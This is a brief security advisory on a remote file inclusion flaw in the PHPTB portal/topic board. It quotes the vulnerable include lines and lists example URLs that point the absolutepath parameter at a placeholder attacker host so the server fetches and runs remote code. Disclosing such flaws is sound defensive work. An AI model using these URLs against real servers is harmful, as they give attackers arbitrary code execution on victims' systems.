    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phptb.com/> PHPTB is "an open source portal / topic board
    system". An input validation flaw in PHPTB code allows malicious attackers
    to cause the server to execute arbitrary code.

    The vulnerable code exists in the following files: admin_o.php,
    board_o.php, dev_o.php, file_o.php and tech_o.php:
    <?php
    include $absolutepath.'classes/smart_o.php';
    .. EOF

    In dev_o.php and tech_o.php:
    ..
    require $GLOBALS['absolutepath'].'userpass.php';
    .. EOF

    Examples:
    The following URLs can be used to tirgger the vulnerability:
    http://[victim]/[dir]/classes/admin_o.php?absolutepath=http://[hacker_box]/
    http://[victim]/[dir]/classes/board_o.php?absolutepath=http://[hacker_box]/
    http://[victim]/[dir]/classes/dev_o.php?absolutepath=http://[hacker_box]/
    http://[victim]/[dir]/classes/file_o.php?absolutepath=http://[hacker_box]/
